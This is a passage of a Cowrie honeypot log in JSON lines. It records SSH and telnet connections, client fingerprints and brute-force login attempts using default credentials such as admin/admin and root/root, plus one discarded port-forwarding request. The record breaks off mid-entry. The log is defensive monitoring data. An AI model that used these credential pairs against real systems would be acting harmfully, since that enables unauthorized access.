{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:08.255365Z","src_ip":"87.251.64.176","session":"03d262dc8340","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:08.542848Z","src_ip":"87.251.64.176","session":"03d262dc8340","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:08.642165Z","session":"03d262dc8340","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:08.740236Z","src_ip":"87.251.64.176","session":"03d262dc8340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:08.839168Z","src_ip":"87.251.64.176","session":"03d262dc8340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.23169493675232,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:14.691247Z","src_ip":"37.215.11.60","session":"17a4def4f4b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":36918,"dst_ip":"159.203.135.109","dst_port":22,"session":"327ed6089b59","protocol":"ssh","message":"New connection: 45.120.216.232:36918 (159.203.135.109:22) [session: 327ed6089b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:27.738240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:27.742767Z","src_ip":"45.120.216.232","session":"327ed6089b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:27.978322Z","src_ip":"45.120.216.232","session":"327ed6089b59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user02","password":"user021","message":"login attempt [user02/user021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:28.938896Z","src_ip":"45.120.216.232","session":"327ed6089b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:30.174331Z","src_ip":"45.120.216.232","session":"327ed6089b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37078,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe23c8638d6e","protocol":"ssh","message":"New connection: 159.203.92.129:37078 (159.203.135.109:22) [session: fe23c8638d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:39.690764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:39.695079Z","src_ip":"159.203.92.129","session":"fe23c8638d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:39.701893Z","src_ip":"159.203.92.129","session":"fe23c8638d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@123","message":"login attempt [admin1/admin1@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:39.714740Z","src_ip":"159.203.92.129","session":"fe23c8638d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:40.723992Z","src_ip":"159.203.92.129","session":"fe23c8638d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49104,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3c8f1ed37dc","protocol":"ssh","message":"New connection: 159.203.92.129:49104 (159.203.135.109:22) [session: e3c8f1ed37dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:21.389764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:21.394441Z","src_ip":"159.203.92.129","session":"e3c8f1ed37dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:21.398868Z","src_ip":"159.203.92.129","session":"e3c8f1ed37dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2018","message":"login attempt [admin1/admin1@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:21.417732Z","src_ip":"159.203.92.129","session":"e3c8f1ed37dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:22.425845Z","src_ip":"159.203.92.129","session":"e3c8f1ed37dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":54892,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c99f81c62e7","protocol":"ssh","message":"New connection: 45.120.216.232:54892 (159.203.135.109:22) [session: 9c99f81c62e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:22.526751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:22.532490Z","src_ip":"45.120.216.232","session":"9c99f81c62e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:22.775337Z","src_ip":"45.120.216.232","session":"9c99f81c62e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:23.775068Z","src_ip":"45.120.216.232","session":"9c99f81c62e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:23:25.020986Z","src_ip":"45.120.216.232","session":"9c99f81c62e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":60408,"dst_ip":"10.17.0.5","dst_port":22,"session":"8add9a725bb3","protocol":"ssh","message":"New connection: 161.132.4.167:60408 (10.17.0.5:22) [session: 8add9a725bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:00.559889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:01.224274Z","src_ip":"161.132.4.167","session":"8add9a725bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:01.229184Z","src_ip":"161.132.4.167","session":"8add9a725bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60888,"dst_ip":"159.203.135.109","dst_port":22,"session":"246332ca9d8d","protocol":"ssh","message":"New connection: 159.203.92.129:60888 (159.203.135.109:22) [session: 246332ca9d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:03.197283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:03.203777Z","src_ip":"159.203.92.129","session":"246332ca9d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:03.213086Z","src_ip":"159.203.92.129","session":"246332ca9d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2019","message":"login attempt [admin1/admin1@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:03.227298Z","src_ip":"159.203.92.129","session":"246332ca9d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:04.264230Z","src_ip":"159.203.92.129","session":"246332ca9d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:06.153645Z","src_ip":"161.132.4.167","session":"8add9a725bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:07.902224Z","src_ip":"161.132.4.167","session":"8add9a725bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":44640,"dst_ip":"159.203.135.109","dst_port":22,"session":"473fdcabeaf6","protocol":"ssh","message":"New connection: 45.120.216.232:44640 (159.203.135.109:22) [session: 473fdcabeaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:19.175998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:19.181018Z","src_ip":"45.120.216.232","session":"473fdcabeaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-s